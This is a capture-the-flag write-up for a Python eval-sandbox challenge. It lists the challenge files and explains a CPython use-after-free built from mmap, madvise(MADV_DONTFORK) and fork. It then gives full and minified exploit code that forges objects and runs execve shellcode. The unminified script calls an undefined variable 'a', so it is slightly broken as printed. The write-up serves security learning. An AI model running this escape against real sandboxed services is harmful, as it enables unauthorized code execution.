Tags: python pwn
Rating:
## Files
**Dockerfile**:
```Dockerfile
FROM python:3.11-rc-slim AS builder
RUN for name in 'ctypes' 'pickle' 'test' 'cffi'; do \
find /usr/local/lib/python3.11/ -name "*${name}*" -exec rm -rf '{}' '+'; \
done
FROM alpine:3.16.1
RUN apk add coreutils
COPY --from=builder /lib/x86_64-linux-gnu /chroot/lib/x86_64-linux-gnu
COPY --from=builder /lib64/ld-linux-x86-64.so.2 /chroot/lib64/ld-linux-x86-64.so.2
COPY --from=builder /usr/lib/x86_64-linux-gnu /chroot/usr/lib/x86_64-linux-gnu
COPY --from=builder /usr/local/lib/python3.11 /chroot/usr/local/lib/python3.11
COPY --from=builder /usr/local/lib/libpython3.11.so.1.0 /chroot/usr/lib/libpython3.11.so.1.0
COPY --from=builder /usr/local/bin/python3.11 /chroot/bin/
COPY preload.so balloon.py flag /chroot/challenge/
RUN chmod 111 /chroot/challenge/flag \
&& chmod 555 /chroot/challenge/preload.so \
&& chmod 444 /chroot/challenge/balloon.py
COPY entrypoint.sh /tmp/entrypoint.sh
RUN chmod 555 /tmp/entrypoint.sh
ENTRYPOINT [ "/tmp/entrypoint.sh" ]
```
**entrypoint.sh**:
```sh
#!/bin/sh
export LD_PRELOAD=/challenge/preload.so
chroot --userspec=1000:1000 /chroot \
/bin/python3.11 -u /challenge/balloon.py
```
**balloon.py**:
```python
#!/usr/bin/env python3
import os
VERY_NICE = 1337
def execute(payload: str) -> object:
try:
return eval(payload)
except Exception as e:
return f'[-] {e}'
def main() -> None:
os.nice(VERY_NICE)
os.write(1, b'[*] Please, input a payload:\n> ')
payload = os.read(0, 512).decode()
os.close(0)
result = execute(payload)
print(result)
os._exit(0)
if __name__ == '__main__':
main()
```
**preload.c**:
```c
__attribute__((visibility ("hidden"))) void forbidden() {
write(1, "[-] Security check failed :(\n", 29);
asm (
"mov $0x3c, %rax;"
"syscall;"
);
}
__attribute__((visibility ("hidden"))) void replace_obj(void *ptr, int size) {
for (int i = 2; i < size / sizeof(unsigned long long); i++) {
((unsigned long long *)(ptr))[i] = &forbidden;
}
}
void syscall(int number) {
if (number != 0xba) {
forbidden();
}
asm (
"mov $0xba, %rax;"
"syscall;"
);
}
void system() {
forbidden();
}
void execve() {
forbidden();
}
void fexecve() {
forbidden();
}
void execveat() {
forbidden();
}
void execl() {
forbidden();
}
void execlp() {
forbidden();
}
void execle() {
forbidden();
}
void execv() {
forbidden();
}
void execvp() {
forbidden();
}
void execvpe() {
forbidden();
}
void nice() {
unsigned long long python_base = &syscall - 0x79319a + 0x1c5000;
// io.BufferedReader
replace_obj(python_base + 0x5531a0, 0x1a8);
// io.BufferedWriter
replace_obj(python_base + 0x552e60, 0x1a8);
// memoryview
replace_obj(python_base + 0x559a80, 0x1a8);
// bytearray
replace_obj(python_base + 0x560c20, 0x1a8);
write(1, "[*] Security check initialized\n", 31);
asm (
"mov $1, %rax;"
);
}
```
## Overview
We need to bypass python's memory checks and do memory corruption.
There are some existing bugs in cpython that works on the latest version:
- [https://github.com/python/cpython/issues/91153](https://github.com/python/cpython/issues/91153) (will be fixed in Python 3.12)
- [https://github.com/python/cpython/issues/60198](https://github.com/python/cpython/issues/60198), here is a [public exploit](https://pwn.win/2022/05/11/python-buffered-reader.html)
The author tried to fix these bugs by removing `memoryview`, `bytearray`, `io.BufferedReader` and `io.BufferedWriter` objects.
## Solution
The intended solution is based on [mmap](https://man7.org/linux/man-pages/man2/mmap.2.html) and [madvise](https://man7.org/linux/man-pages/man2/madvise.2.html) syscalls. There are a useful parameter for `madvise()`:
```
MADV_DONTFORK (since Linux 2.6.16)
Do not make the pages in this range available to the child
after a fork(2). This is useful to prevent copy-on-write
semantics from changing the physical location of a page if
the parent writes to it after a fork(2). (Such page
relocations cause problems for hardware that DMAs into the
page.)
```
It means that if we've set MADV_DONTFORK on a page, this page will not be copied to fork. How to use this?
1. Create a page using `mmap.mmap()`, call `madvise(MADV_DONTFORK)` on this page.
2. Call `os.fork()`. The page will not exists in child, but the object containing the pointer will be copied. So we have got a bad pointer `ptr` in child.
3. Allocate a very long list `list` in child, for example 0x1000 elements. The existing Python's heap are too small for this, so the allocator will call `mmap()` to get more space. The address of a new page will be the same as `ptr`.
4. So `list` and `ptr` point to the same memory, this is use-after-free vulnerability.
5. Create a fake object type with custom `repr()` function that contains a payload. Then create an instance `obj` of this object.
6. Add `obj` to `list` using `ptr`. Then call `repr(list)`.
Example solution:
```python
import os
import time
import mmap
page = mmap.mmap(-1, 0x1000 * 16)
page.madvise(mmap.MADV_DONTFORK)
serialize = lambda x: b''.join(y.to_bytes(8, 'little') for y in x)
if os.fork():
time.sleep(1)
else:
array = [0] * 4096 * 25
page_ptr = id(array) - 0x110940
obj_type = serialize(
[
2, id(type),
0, id(b'') + 32,
33, 1,
] + [page_ptr] * 32
)
obj = serialize(
[
2, id(obj_type) + 32,
0, 1,
]
)
page[:8] = serialize([id(obj) + 32])
path = b'/challenge/flag'
path_ptr = serialize([id(path) + 32])
# a tiny execve shellcode using `path_ptr` in rdi
shellcode = b'\x48\x31\xC0\xB0\x3B\x48\xBF' + path_ptr + b'\x48\x31\xF6\x48\x31\xD2\x48\x31\xC9\x0F\x05'
rwx_page = mmap.mmap(-1, 0x1000 * 8, prot = 7)
rwx_page.write(b'\x90' * 0x1000 * 8)
rwx_page[-len(shellcode):] = shellcode
str(a)
```
The challenge limits input's length, so the actual solution is minified.
Example minified solution:
```python
[0 if p.madvise(10)else(i('time').sleep(1)if i('os').fork()else exec(r"s=lambda x:b''.join(y.to_bytes(8,'little')for y in x);a=[0]*4096*25;t=s([2,id(type),0,id(b'')+32,33,1]+[id(a)-0x110940]*32);o=s([2,id(t)+32,0,1]);p[:8]=s([id(o)+32]);e=b'/challenge/flag';c=b'\x48\x31\xC0\xB0\x3B\x48\xBF'+s([id(e)+32])+b'\x48\x31\xF6\x48\x31\xD2\x48\x31\xC9\x0F\x05';w=i('mmap').mmap(-1,0x8000,prot=7);w.write(b'\x90'*0x8000);w[-len(c):]=c;str(a)"))for i in[__import__]for p in[i('mmap').mmap(-1,0x1000*16)]]
```
# Flag
```
Aero{RCE_1n_Pyth0n_1s_d4NG3r0uS_ev3Ry_t1m3}
```